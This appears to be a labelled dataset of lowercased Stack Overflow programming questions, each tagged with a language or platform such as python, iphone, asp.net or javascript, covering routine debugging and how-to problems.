problem in selecting row of table in view subclass technique  in my application i have table view cells.when i select one cell it takes me corresponding views according to selected cells. i have implemented it using custom subclass of uitableviewcell i.e. subclassing of cells with nib file rather then subviews using code.     i used nsdictionary to feed my cells data like below on viewdidload method   <pre><code>nsdictionary *row1=[[nsdictionary alloc]initwithobjectsandkeys:@ mac   @ name   @ 1.5   @ rate   nil];  nsdictionary *row2=[[nsdictionary alloc]initwithobjectsandkeys:@ mini   @ name   @ 14.4  @ rate   nil];  nsarray *array=[[nsarray alloc]initwithobjects:row1  row2 nil]; self.computers=array; </code></pre>   and in didselectrowatindexpath method i use   <pre><code> -(void) tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath *)indexpath{  if (childcontroller==nil) {     childcontroller=[[computerconverter alloc]initwithnibname:@ computercontroller  bundle:nil];      childcontroller.title=@ select computer to convert ;     nsuinteger row=[indexpath row];     nsstring *selectedcomputer=[self.computers objectatindex:row];     nsstring *detailmassage=[[nsstring alloc]initwithformat:@ %@  selectedcomputer];     childcontroller.massage =detailmassage;     childcontroller.title=selectedcomputer;     [detailmassage release];     [self.navigationcontroller pushviewcontroller:childcontroller animated:yes];     childcontroller =nil; } </code></pre>   }    it shows nsexception and does not take me to another corresponding view. any suggestion will highly appreciated.,iphone
how to disable button in uiactionsheet   i need to disable the buttons in uiactionsheet. after some operations i need to enable them again. so is there a way to do this.    thanks,iphone
could not load type  cwizbankapp.homelogin   i dont know what could be missing here but i keep getting this error     <pre><code>parser error  description: an error occurred during the parsing of a resource required to service this request. please review the following specific parse error details and modify your source file appropriately.   parser error message: could not load type  cwizbankapp.homelogin .  source error:    line 1:  &lt;%@ page language= c#  autoeventwireup= true  codebehind= homelogin.aspx.cs  inherits= cwizbankapp.homelogin  %&gt; line 2:   line 3:  &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;  source file: /homelogin.aspx    line: 1   here is the code behind file  using system; using system.collections.generic; using system.linq; using system.web; using system.web.ui; using system.web.ui.webcontrols; using system.web.security;    namespace cwizbankapp {     public partial class homelogin : system.web.ui.page     {         protected void page_load(object sender  eventargs e)         {             //membership.deleteuser( ppp002 );              if (request.querystring[ session ] == new_session )             {                 session.abandon();                 formsauthentication.signout();                 response.redirect( /homelogin.aspx );               }             //useful when using role based access because if an authenticated user is sent here that means he is trying to view a page he is not allowed to             if (request.isauthenticated &amp;&amp; !string.isnullorempty(request.querystring[ returnurl ]))             {                 response.redirect( /unauthorizedaccess.aspx );              }            }          protected void cmdlogin_click(object sender  eventargs e)         {             if (membership.validateuser(txtusername.text  txtpassword.text))             {                 httpcookie authcookie = formsauthentication.getauthcookie(txtusername.text  false);                 formsauthenticationticket ticket = formsauthentication.decrypt(authcookie.value);                 formsauthenticationticket newticket = new formsauthenticationticket(ticket.version  ticket.name  ticket.issuedate  ticket.expiration  ticket.ispersistent    );                 authcookie.value = formsauthentication.encrypt(newticket);                 response.cookies.add(authcookie);                 getusername();                  string redirurl = formsauthentication.getredirecturl(txtusername.text  false);                 response.redirect(redirurl);              }           }         public void getusername()         {             dataclasses1datacontext dt = new dataclasses1datacontext();             var name =( from nm in dt.users_additionalinfos                         where nm.usercode== txtusername.text.trim()                          select nm).single();            global.username=name.firstname +   + name.lastname;          }          protected void cmdcreateuser_click(object sender  eventargs e)         {              response.redirect( /createaccount.aspx );         }     } } </code></pre>   also i checked that under my project s bin folder the dll is not there   can anybody help me out with this. any suggestions are welcome. thanks,asp.net
javascript s slice doesn t work  i declared some global variables in a php file:   <pre><code>var coordinates = []; var joined_data = []; </code></pre>   the variable <em>coordinates</em> is initially set with some data received from a xmlhttprequest and <em>joined_data</em> is set to be equal to <em>coordinates</em>. later on  a function is invoked:   <pre><code>function addmarkertowps(wp_id) {     joined_data = coordinates.slice(0  coordinates.length-5);     calculateroutes();  } </code></pre>   this short code should select a subarray and save it into <em>joined_data</em>; the function <em>calculateroutes</em> draws a path on the map using google apis; at the end of such function  i try to display the lengths of two arrays and i expected <em>joined_data</em> to be shorter than <em>coordinates</em>  but i discovered they have same size. so  i suspect that <em>slice</em> function failed somehow.  here s the function <em>calculateroutes</em>:   <pre><code>function calculateroutes() {     // remove previous route     removeroutes();     //window.alert( numero punti   + coordinates.length);      // set start position     //var begin = new google.maps.latlng(coordinates[0].lat  coordinates[0].lon);     var begin = new google.maps.latlng(joined_data[0].lat  joined_data[0].lon);      // set end position     var end = null;      // waypoints struct     var waypoints = [];      // counter     var wcount = 0;      // loop     var i;     //for(i=1; i&lt;coordinates.length-1; i++)     for(i=1; i&lt;joined_data.length-1; i++)     {         if(wcount === request_waypoints_limit)         {             // increment counter to get end s index             i++;              // set end             //end = new google.maps.latlng(coordinates[i].lat  coordinates[i].lon);             end = new google.maps.latlng(joined_data[i].lat  joined_data[i].lon);              // draw current route             drawroute(begin  end  waypoints);              // update indeces             begin = end;              // reset structures             wcount = 0;             waypoints = [];         }          // add waypoint to list         waypoints.push         (             {                 //location: new google.maps.latlng(coordinates[i].lat  coordinates[i].lon)                  location: new google.maps.latlng(joined_data[i].lat  joined_data[i].lon)                  stopover: true             }         );          // increments counter         wcount++;     }      if(waypoints.length &gt; 0)     {         //end = new google.maps.latlng(coordinates[coordinates.length-1].lat  coordinates[coordinates.length-1].lon);         end = new google.maps.latlng(joined_data[joined_data.length-1].lat  joined_data[joined_data.length-1].lon);         drawroute(begin  end  waypoints);     }      for(var i = 0; i&lt;coordinates.length; i++)     {         placemarker(coordinates[i].lat  coordinates[i].lon   http://gmaps-samples.googlecode.com/svn/trunk/markers/red/blank.png );     }      for(var j = 0; j&lt;interest_points.length; j++)     {         placeattractionmarker(             interest_points[j].lat              interest_points[j].lon               http://gmaps-samples.googlecode.com/svn/trunk/markers/orange/blank.png               interest_points[j].name              interest_points[j].wikipedia              j          );     }      //joindata();     //window.alert(   + coordinates.length +     + interest_points.length +     + joined_data.length);     window.alert(   + coordinates.length +     + joined_data.length);   } </code></pre>   can you spot the error  thank you.,javascript
function that returns a string  silly as it may sound  i am trying to write a simple function in objective-c which returns a string and displays it  the following code nearly works but i can t get printf to accept the functions return value ...   <pre><code>nsstring* getxmlelementfromstring();  int main(int argc  char *argv[]) {     printf(getxmlelementfromstring());     return nsapplicationmain(argc   (const char **) argv); }  nsstring* getxmlelementfromstring() {     nsstring* returnvalue;     returnvalue = @ hello! ;     return returnvalue; } </code></pre>,objective-c
python: search and find a match a group of string  i m trying to do a search and match especific string on a cisco router configuration that it is save on a .txt file. this is an example of part of the .txt file:   <pre><code>ip sla 101 udp-jitter 10.0.0.1 48092 request-data-size 64 tos 100 tag hostname frequency 300 ip sla schedule 101 life forever start-time now ip sla 102 udp-jitter 10.0.26.36 48092 request-data-size 64 tos 100 owner owner tag hostname frequency 300 ip sla schedule 102 life forever start-time now ip sla 103 udp-jitter 10.0.114.1 48092 tos 100 vrf mskjhhj owner owner2 tag hostname ip sla schedule 103 life forever start-time now </code></pre>   so imagine 500 .txt file and all have different variation on the configuration  but all have must of the  ip sla 101  102  103 etc...     the part that i want to grab and save is the configuration under each  ip sla  . for example the first line is  ip sla 101  and the entire configuration for that is as:   <pre><code>ip sla 101 udp-jitter 10.0.0.1 48092 request-data-size 64 tos 100 tag xb02wepr01-004108 frequency 300 ip sla schedule 101 life forever start-time now </code></pre>   i want to be able to to search for the entire file and grab the information for each of the  ip sla   remember that some of the file have different configuration the only this that it is the same is that when one of the ip sla  is finish it is follow by another ip sla  until there is no more. i don t know if i explain myself since it is cisco configuration.     this is my code:   <pre><code>f =open( config.txt ) f =f.readlines() f_out =open( save_result.txt    wb ) for i in f:     if  ip sla &lt;any number&gt;:         ipsla&lt;number&gt;=[]         ipsla&lt;number&gt;.append(i)         ipslacurrent = i     elif i != &lt;any number&gt;:         ipsla&lt;number&gt;.append(i)     f_out.write(ipsla&lt;anynumber&gt;) f_out.close() </code></pre>   i hope all this make sence  if not i appologize. if there is any other way that will accomplishe this  i will appreciate. probably with regular expression  but i have no experience with rgex. thanks   <h1>update:</h1>   what i basically want is multiple variable. at the end of the script  i want the script to collect as the following example:   <h2>example:</h2>  <pre><code>ip_sla_101 =[ udp-jitter 10.0.0.1 48092    request-data-size 64   tos 100   tag hostname   frequency 300   ip sla schedule 101 life forever start-time now ]  ip_sla_102 =[ udp-jitter 10.0.26.36 48092    request-data-size 64   tos 100   owner owner    tag hostname   frequency 300   ip sla schedule 102 life forever start-time now ]  ip_sla_103 =[ udp-jitter 10.0.114.1 48092   tos 100   owner owner2    tag hostname    ip sla schedule 103 life forever start-time now ] </code></pre>,python
python : is the argument *args optional  we know <code>*args</code> is used to pass a variable number of arguments to a function. now if we have a function with signature as follow   <pre><code>def myfunction(*args) </code></pre>   is it necessary that <code>myfunction</code> is called with at least one argument,python
python- reverse 2 strings in 1 list separately   in python  i have this list containing   <pre><code>[ hello    world ] </code></pre>   how do i turn that list into   <pre><code>[ olleh    dlrow ]  </code></pre>,python
javascript date/time operator  i want to implement +/- functionality in date/time in javascript.    here is example.   <pre><code>var now = new date( sun dec 09 01:36:45 est 2012 ); console.log(now + 3min); </code></pre>   how can i do this  is there any example like this,javascript
use removepie remove the alsr of app binary  i have download removepie from github and move this tool to iphone:/usr/bin/removepie. execute     zhangpengde-iphone:~ root# removepie /var/mobile/containers/bundle/application/b87766c4-0f0c-45f0-99d0-0aa1410256b5/wechat.app/wechat magic : feedfacf file is not a mach_o binary    if wechat is not mach_o binary which file is mach_o binary,ios
how to change the view to horizontal in iphone application  how do i change the view to be horizontal. i do not want it to switch when the iphone is turned on its side  i want it to be permanently horizontal. thanks!,iphone
sql for applying conditions to multiple rows in a join  i think i found the answer to my question  i m just unsure of the syntax  i keep getting sql errors.    basically  i want to do the opposite of in. take this example:   <pre><code>select *    from users inner join         tags on tags.user_id = users.id   where tags.name in ( tag1    tag2 ); </code></pre>   the above will return any users that have  tag1  or  tag2 . i want users that have both. they must have both tags to be returned. i m assuming the keyword all should be used  but can t get it to work.    thanks for your help.,sql
java for statement  i have this code:   <pre><code>stringbuilder[] remotefiles = {filesremote};  for (stringbuilder i : remotefiles) {     system.out.println( this is:   + i); } </code></pre>   it returns:   <pre><code>this is file1 file2 file3 </code></pre>   instead of:   <pre><code>this is file1 this is file2 this is file3 </code></pre>   how can i get it to print as above,java
error: declaration of  operator<<  as non-function|  i am having a really hard time with overloading the &lt;&lt; operator.  i am working on a homework assignment where i can only modify certain portions of the code.  before you ask  i am stuck using a struct instead of a class.  here are the portions of the affected code:    the calling function is:   <pre><code>/*  * write a csv report listing each course and its enrollment.  */ void generatereport (ostream&amp; reportfile               int numcourses               course* courses) {   for (int i = 0; i &lt; numcourses; ++i)     {         //courses is an array of  course  structs         reportfile &lt;&lt; courses[i] &lt;&lt; endl;     } } </code></pre>   here is the .h file:   <pre><code>#ifndef course_h #define course_h  #include &lt;iostream&gt; #include &lt;string&gt;   struct course {     std::string name;     int maxenrollment;     int enrollment;      course();     course(std::string cname);      std::ostream&amp; operator &lt;&lt; (ostream &amp;out  const course &amp;c); };  #endif </code></pre>   here is the .cpp file:   <pre><code>#include  course.h   using namespace std;   course::course() {     name =   ;     maxenrollment = 0;     enrollment = 0; }  course::course(string cname) {     name = cname;     maxenrollment = 0;     enrollment = 0; }  // send course to file ostream&amp; course::operator &lt;&lt; (ostream &amp;out  const course &amp;c) {     out &lt;&lt; c.name &lt;&lt;     &lt;&lt; c.enrollment &lt;&lt; endl;     return out; } </code></pre>   here is the error message i keep getting:    error: declaration of  operator&lt;&lt;  as non-function|    i have been searching the internet for hours and tried lots of different approaches to solve this problem with no success. please help!!    i tried a couple of different methods to fix this based on advice.  here are two methods i tried which did not work: method 1:   <pre><code>#ifndef course_h #define course_h  #include &lt;iostream&gt; #include &lt;string&gt;   struct course {     std::string name;     int maxenrollment;     int enrollment;      course();     course(std::string cname);  };  //moved this outside the struct std::ostream&amp; operator &lt;&lt; (ostream &amp;out  const course &amp;c);  #endif </code></pre>   method 2 (also failed to change error):   <pre><code>#include  course.h   using namespace std;   course::course() {     name =   ;     maxenrollment = 0;     enrollment = 0; }  course::course(string cname) {     name = cname;     maxenrollment = 0;     enrollment = 0; }  std::ostream&amp; operator &lt;&lt; (ostream &amp;out  const course &amp;c);   // send course to file ostream&amp; course::operator &lt;&lt; (ostream &amp;out  const course &amp;c) {     out &lt;&lt; c.name &lt;&lt;     &lt;&lt; c.enrollment &lt;&lt; endl;     return out; } </code></pre>   re-edit-------------------------------------------------------- after some of the comments and help  here is my current code:    in the .h file:   <pre><code>#ifndef course_h #define course_h  #include &lt;iostream&gt; #include &lt;string&gt;   struct course {     std::string name;     int maxenrollment;     int enrollment;      course();     course(std::string cname);      std::ostream&amp; operator &lt;&lt; (std::ostream &amp;out  const course &amp;c); };  #endif </code></pre>   in the .cpp file:   <pre><code>#include  course.h   using namespace std;  course::course() {     name =   ;     maxenrollment = 0;     enrollment = 0; }  course::course(string cname) {     name = cname;     maxenrollment = 0;     enrollment = 0; }   // send course to file ostream&amp; operator &lt;&lt; (ostream &amp;out  const course &amp;c) {     out &lt;&lt; c.name &lt;&lt;     &lt;&lt; c.enrollment &lt;&lt; endl;     return out; } </code></pre>,c++
can we add div inside table above every <tr>   hi am trying to add a div above every <code>&lt;tr&gt;</code> but when i look at the html console the div are showing outside the table. below is the html code.   <pre><code>&lt;table&gt; &lt;div&gt; &lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/div&gt; &lt;div&gt; &lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/div&gt; &lt;/table&gt; </code></pre>   is this not allowed  any help would be great.,html
how can i select single item from one list and doing operation on all items of second list using python  for example if i have one list having data   and whose item should be selected one by one    <pre><code>a = [0.11   0.22   0.13  6.7  2.5  2.8] </code></pre>   and the other one for which all items should be selected    <pre><code>b = [1.2 1.4  2.6  2.3  5.7 9.9] </code></pre>   if i select <code>0.11</code> from a and do opertation like addition with all the items of b and then save the result in new array or list   how is that br possible with python  ...    i am sorry for the question as i am trying to learn python on my own  kindly tell me how is this thing possible.    thank you in advance.,python
making a page secure  i am building a asp.net website that has members pages. i have created a folder where i keep the members pages in and that can only be accessed by logging in or creating a new account. the problem is how do i make the url of these members pages secure  so that someone cant simply give the url to another user for them to copy into a browser or bookmark. any suggestions greatly appreciated.,asp.net
how to configure uisearchbar scope buttons to not trigger  search mode    i think by default  uisearchdisplaycontroller/uisearchcontroller and/or uisearchbar uses an effect  when tapped  to animate the search bar into the navigation bar and display a darkened overlay on the table data. i have added scope buttons to my search bar  so i want to be able to tap one of the scope buttons to update the current table view rather than starting a new search (animating and darkening). how can this be done using the uisearchbar and scope buttons,ios
semaphore between two processes doesn t work using fork  trying to create semaphore rutine between two processes but code seems to break too early. tried to compare with other students who succeeded and our codes looks almost the same except that my i do fork only after semget and semctl.      <pre><code>   #include &lt;stdio.h&gt; #include &lt;unistd.h&gt; #include &lt;signal.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/ipc.h&gt; #include &lt;sys/sem.h&gt; #include &lt;sys/wait.h&gt; #include &lt;errno.h&gt; #include &lt;stdlib.h&gt; int main() {     pid_t n;     int semid;     int key = 98757;     short sarray[1] = {2};     struct sembuf sops[1];     int err;      semid = semget(key  1  ipc_creat | 0666);     if (semid == -1)     {         perror( semid failed );         return 0;     }      err = semctl(semid  1  setall  sarray);     if (err == -1);/*code beakes down here*/     {         perror( semctl failed );          return 0;     }      n = fork();      if (n &lt; 0)     {         printf( n &lt; 0 );         return 0;     }     else if (n==0)/*child*/     {         sops[0].sem_num = 0;         sops[0].sem_op = 0;         sops[0].sem_flg = 0;         err = semop(semid  sops  1);         if (err &lt; 0)         {             printf( debugging semid &lt; 0 );             return 0;         }         printf( %d   n);         exit(0);     }     else/*parent*/     {         sleep(3);         sops[0].sem_num = 0;         sops[0].sem_op = -1;         sops[0].sem_flg = 0;         err = semop(semid  sops  1);         if (err &lt; 0)         {             printf( debugging semid &lt; 0 );             return 0;         }         wait(0);     }      return 0; } </code></pre>,c
datacontractserializer config section under system.runtime.serialization section group could not be loaded <blockquote>    datacontractserializer config section under system.runtime.serialization section group could not be loaded. verify that machine.config is correctly set up.  </blockquote>   do i need to reinstall something,.net
launching an ios app running in background  my requirement is like:   i have an ios app running in <strong>foreground</strong> and user press the hardware home button and switch to there app and remain idle on home screen of the phone. i want after let say <strong>30 sec</strong> may app will automatically open without any user interaction. mean without using any <strong>notification</strong>.     is is technically possible  if so how to implement this.    many thanks in advance.,ios
html hiding form under text information  i would like to make this form below   <pre><code>&lt;form enctype= application/x-www-form-urlencoded  action= http://cpanel.gateway245.com/auth  method= post &gt;     &lt;p class= element &gt;         &lt;label for= email &gt;email address&lt;/label&gt;         &lt;br/&gt;         &lt;input type= text  name= email  id= email  value=   placeholder= e-mail &gt;     &lt;/p&gt;      &lt;p class= element &gt;         &lt;label for= password &gt;password&lt;/label&gt;         &lt;br/&gt;         &lt;input type= password  name= password  id= password  value=   placeholder= password &gt;     &lt;/p&gt;      &lt;input type= submit  name= submit  id= submit  value= login &gt; &lt;/form&gt; </code></pre>   so that when a link is clicked the form shows i have seen some websites with login forms like this is it possible to be done in html under div menu ui,html
random module issue  i am starting off with python programming and was trying to work on a homework activity.   <pre><code>import random health = 50 difficulty = 1 potionhealth = random.randint(25 50)  currenthealth = health + potionhealth  print(currenthealth) </code></pre>   the answer that i am getting is 197. shouldn t the max value of <code>currenthealth</code> be 100  have got a lot of values more than 100. what am i doing wrong,python
cannot overwrite implementation for __call__  take this as an example:   <pre><code>class foo(object):    def __init__(self  msg):       self._msg = msg    def __call__(self):       return self._msg  foo = foo( hello ) print(foo()) # prints  hello  foo.__call__ = lambda _:  bye  print(foo()) # prints  hello  </code></pre>   i can reproduce this on both <em>python 2.x</em> and <em>python 3.x</em>    i was not able to find any relevant information on the documentation regarding this behavior.    this totally looks like a valid use case for me  specially when monkeypatching stuff.    is there a reason this is not allowed,python
what is the function of silverlight   what is the function of <a href= http://en.wikipedia.org/wiki/microsoft_silverlight  rel= nofollow >silverlight</a>,.net
how to spread a python array  in js i can do this   <pre><code>const a = [1 2 3 4] const b = [10  ...a] console.log(b) // [10 1 2 3 4] </code></pre>   is there a similar way in python,python
change from deny specific extensions to allow only specific extensions  i am new to asp.net. i have this code:   <pre><code>function onsubmitform() {     var formdomobj = document.frmsend;     if (formdomobj.attach1.value ==    &amp;&amp; formdomobj.attach2.value ==    &amp;&amp; formdomobj.attach3.value ==    &amp;&amp; formdomobj.attach4.value ==    )         alert( please press the browse button and pick a file. )     else         return true;      var extension = lcase(right(formdomobj.attach1.value 4);       if (extension ==  .exe ) || extension ==  .html )         alert( extension not allowed. )      return false; </code></pre>   }    i d like to change it to allow only certain extensions instead of excluding them. i can do this by flipping the if but i d like to change it to work with an array or list but i m not sure how to do this...    can someone help me by pointing me in the right direction,asp.net
objective-c on linux how to start   is there any objective-c ide for linux   where to start   how to start   any ideas   all good starter tutorials and links appreciated.,objective-c
select items from a collection based on the sub-class type in the collection <pre><code>class a {} class b : a {} class c : a {}  icollection&lt;a&gt; mycollection; var myresults = mycollection.where(item =&gt; item.gettype() is c); </code></pre>   given the hierarchy above the where predicate effectively does nothing.    how can i structure the where predicate to return all items of type c from the collection,c#
formview doesnt change to readonly mode after updating  why  <pre><code>protected void formview1_modechanging(object sender  formviewmodeeventargs e)         {             this.formview1.changemode(e.newmode);         } protected void formview1_itemupdating(object sender  formviewupdateeventargs e)         {             int id = int.parse(e.commandargument.tostring());             textbox text1 = (textbox)formview1.findcontrol( txtnameedit );             textbox text2 = (textbox)formview1.findcontrol( txtstatusedit );             comp.updaterecord(text1.text  int.parse(text2.text)  id);             ds = bindgridview();             gridview1.datasource = ds;             gridview1.databind();         }          protected void formview1_itemupdated(object sender  formviewupdatedeventargs e)         {             formview1.changemode(formviewmode.readonly);         } </code></pre>   it doesnt go in readonly mode after updating record.,asp.net
strange behavior of javascript call method  i m recently reading the  effective javascript . in the item  use call methods with a custom receiver . the author provides an example of adding the contents of one table to another using this method :   <pre><code>var table = {     entries: []      addentry: function(key  value) {         this.entries.push({key: key  value: value});     }      foreach: function(f  thisarg) {         var entries = this.entries;         for (var i = 0  n = entries.length; i &lt; n; i++)         {             var entry = entries[i];             f.call(thisarg  entry.key  entry.value  i);         }     } }; </code></pre>   now if i test this method writing things like:   <pre><code>table2 = table; table1 = table; table1.entries = [1  3]; table1.foreach(table1.addentry  table2); console.log(table2.entries); </code></pre>   i get the contents of table2 entries as [1  3  object  object]. which confuses me. why do we get those two additionnal objects. probably  i didn t get the call method properly. can someone explain to me what is happening,javascript
issue with using jquery to append a link with a relative path  sorry for this very basic question and this is my first time posting.  i am trying to link the following jquery to each html page in a project:   <pre><code>$(document).ready(function() {     $( .class ).append( &lt;p&gt;&lt;a href= ../../homepage.htm &gt;home page&lt;/a&gt;&lt;/p&gt; ); }); </code></pre>   the jquery is stored in a separate folder so i just reference it from each html page. however  the html pages are stored in folders in a directory type structure so does the path <code>../..homepage.htm</code> need to be different depending on where the html page is located in relation to <code>homepage.htm</code>     if so  do i need a separate jquery to handle different relative paths  i suppose i could use the absolute path of homepage.htm but its location would need to be updated for each version of the project.    thanks for any help,jquery
rails text_area size  i have a <code>text_area</code> inside a <code>fields_for</code>  which is inside a <code>form_for</code>.   <pre><code>&lt;%= day_form.text_area :hatch %&gt; </code></pre>   is it possible to change the size of the <code>text_area</code>  for example: <code>day_form.text_area size: 5</code>.,ruby-on-rails
how to perform addition of a group of data to another in the same table and column   <img src= https://i.stack.imgur.com/6j9t9.jpg  alt= desired result >    i would like to add all products from location2 to location1 and deleting all location2 records(optional). how do i do it without creating another table     current sql statement:   <pre><code>update table1     set quantity = (convert(int quantity) +                     convert(int  (select quantity from table1 where location =  loc2 )) )     where location =  loc1 ; </code></pre>   but this works only if there is 1 product. how do i modify the code to allow all my products to be updated  thank you.    p.s. below is the screenshot of the desired before and after result  incase my attached screenshot cannot be shown.    <img src= https://i.stack.imgur.com/6j9t9.jpg  alt= http://prntscr.com/h6i8g4 >,sql
asp:checkbox - prevent text from wrapping below checkbox  i have a  checkbox with text that is fairly lengthy as shown below. one thing we don t want is for the text to wrap below the checkbox. what i have done to fix this is to put spaces. also not that part of the text is bold as well:   <pre><code>     &lt;asp:checkbox id= chkoption1  runat= server  /&gt; &lt;b&gt;&lt;u&gt;option 1&lt;/u&gt;&lt;/b&gt; - attend in person. this is the best way to gain critical knowledge and express your thoughts and opinions.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ample time will be provided for individual discussions during breaks and at the networking reception. </code></pre>   is there a way for the text not to wrap below the checkbox and still have the boldness in the text i need      note that i still want the text to wrap but not below the checkbox. meaning it should wrap below the previous line s text.,asp.net
how to swipe viewpager images automatically using timetask  hi i am new in android and in my app i have a lot of images in my <code>arraylist</code> that  s  why i want to swipe those images automatically for every 3 seconds with help of <code>timetasker</code> and this process is continuously need to repeating up to we close app. can some body help me please   <h2>mainactivity:-</h2>  <pre><code>public class mainactivity extends appcompatactivity {      viewpager viewpager;      integer[] imageid = {r.drawable.image1  r.drawable.image2  r.drawable.image3  r.drawable.image4};     string[] imagesname = { image1   image2   image3   image4 };      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.main_layout);          viewpager = (viewpager) findviewbyid(r.id.viewpager);         pageradapter adapter = new customadapter(mainactivity.this imageid imagesname);         viewpager.setadapter(adapter);     } } </code></pre>  <h2>customadapter:-</h2>  <pre><code>public class customadapter extends pageradapter{      private activity activity;     private integer[] imagesarray;     private string[] namesarray;      public customadapter(activity activity integer[] imagesarray string[] namesarray){          this.activity = activity;         this.imagesarray = imagesarray;         this.namesarray = namesarray;     }      @override     public object instantiateitem(viewgroup container  int position) {          layoutinflater inflater = ((activity)activity).getlayoutinflater();          view viewitem = inflater.inflate(r.layout.image_item  container  false);         imageview imageview = (imageview) viewitem.findviewbyid(r.id.imageview);         imageview.setimageresource(imagesarray[position]);         textview textview1 = (textview) viewitem.findviewbyid(r.id.textview);         textview1.settext(namesarray[position]);         ((viewpager)container).addview(viewitem);          return viewitem;     }      @override     public int getcount() {         // todo auto-generated method stub         return imagesarray.length;     }      @override     public boolean isviewfromobject(view view  object object) {         // todo auto-generated method stub         return view == ((view)object);     }      @override     public void destroyitem(viewgroup container  int position  object object) {         // todo auto-generated method stub         ((viewpager) container).removeview((view) object);     } } </code></pre>,android
how to write an arraylist to a text file   i have an arraylist of strings and a text file called actors. i need to write all the elements in the arraylist to a .txt file. here is my code so far.   <pre><code>void writearraylist()     {                                 foreach (object actor in actorarraylist)         {             file.writealllines( c:\\actors.txt   actor);          }     } </code></pre>,c#
how to add three numbers using javascript with div id as result   can anyone please help me  this is just a basic thing but i can t seem to figure it out. i am trying to add 3+5+5 using javascript but it doesn t seem to work. and the sum should also show up when i click the button add.   <pre><code>&lt;!doctype html&gt; &lt;html&gt;   &lt;head&gt;     &lt;title&gt;adding three numbers&lt;/title&gt;      &lt;script&gt;         function add(3 5 5) {         var a = + 3 ;         var b = + 5 ;         var c = + 5 ;         var x = +a + +b + +c;         document.getelementbyid( result ).innerhtml =  x ;         }     &lt;/script&gt;   &lt;/head&gt;   &lt;body&gt;     &lt;div id= result &gt;&lt;/div&gt;      &lt;input type= button  value= add  onclick= add(3 5 5) &gt;    &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
multiple inheritance in .net  do you consider .net to have multiple inheritance  why     yes  i know that by definition is doesn t  but i have had more than one person argue that since you can inherit more than one interface than it does. i know this is a very subjective question (hence the tag)  but i was hoping to get some more views on this.    <b>edit</b> i am not asking if you think it should have multiple inheritance  and i am also not saying that you inherit interface. what i was trying to get across in my question is that i have heard several people argue otherwise  and i just wanted to get some more opinions on it. i fully expected 99% of the answers to be  no   but like i said i wanted some more input.,.net
ios keyboard direction and the direction of the status bar is not consistent  how to solve   the ios status bar is set to horizontal screen display  but when the keyboard is still vertical screen  do not know how to solve     thanks,ios
create design area for design shirt  i want to create design area like this. all design images must be in here i have no idea to do it. anyone can help me thanks! <a href= https://i.stack.imgur.com/9aodf.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/9aodf.png  alt= this is example ></a>,html
query on angular resource returns all elements instead of the ones matching the parameter string  in my controller i have the following function:   <pre><code>$scope.filterbyweek = function(week) {     results.query({ week: week }  function(results){         $scope.results = results;     }); }; </code></pre>   in my view i call the function in an ng-click:   <pre><code>&lt;li ng-repeat= week in calendarweeks &gt;     &lt;span ng-click= filterbyweek(week) &gt;{{week}}&lt;/span&gt; </code></pre>   when i click on one of the weeks  it just returns all of them  as if the <code>{ week: week }</code> condition wasn t even present.    however  if i use a <code>filter</code> and explicitly say <code>| filter:{ week:  one  }</code> for instance  it works just fine. i don t want to use this approach though because it loads everything in the dom. i want the controller to pass through what is defined by the <code>filterbyweek</code> function.    any ideas on what s going wrong      the resultsservice if needed:   <pre><code>angular.module( myapp )     .factory( results   function($resource) {         return $resource( /api/results/:_id );     }); </code></pre>,angularjs
vertically aligning image in fluid container  looked for other examples but couldn t find any. my image container uses max-width/max-height so the image scales to the container but i can t seem to get it to auto margin top/bottom or vertical align it to the middle without setting a height.   <pre><code>html  body {     width:  100%;     height: 100%;     margin: 0px; }  #container {     border: solid 1px #000;     height: 100%;     width: 65%;     position: absolute;     right: 0; }  #container img {     max-width: 100%;     max-height: 100%;     display: block;     margin: auto;     vertical-align: middle;     }​   &lt;div id= container &gt;&lt;img   src= http://rack.2.mshcdn.com/media/zgkymdeylzeylze2lzazl3njcmvlbnnob3qyxzjlb2rklnbuzwpwcxrodw1ictg1mhg1ota+cmujanbn/5b500a85/9ee/screen-shot-2012-12-14-at-9-45-01-am.jpg  /&gt; &lt;/div&gt;​ </code></pre>   <a href= http://jsfiddle.net/beftr/  rel= nofollow >http://jsfiddle.net/beftr/</a>,css
error: expected  )  before  n   i am getting this compilation error . i tried a few troubleshooting steps like rename the def.h file to defdif.h to prevent the system files to be included. but this error doesnt go .any one has a idea.   <pre> core/def.c: error: expected  )  before  n  core/def.c: error: expected  )  before  n </pre>   def.c file    <pre><code>u16_t lwip_htons(u16_t n)   {    return( ((n &amp; 0xff) &lt;&lt; 8) | ((n &amp; 0xff00) &gt;&gt; 8) );   }   u32_t lwip_htonl(u32_t n) { return ((n &amp; 0xff) &lt;&lt; 24) |    ((n &amp; 0xff00) &lt;&lt; 8) |    ((n &amp; 0xff0000ul) &gt;&gt; 8) |    ((n &amp; 0xff000000ul) &gt;&gt; 24); } </code></pre>,c
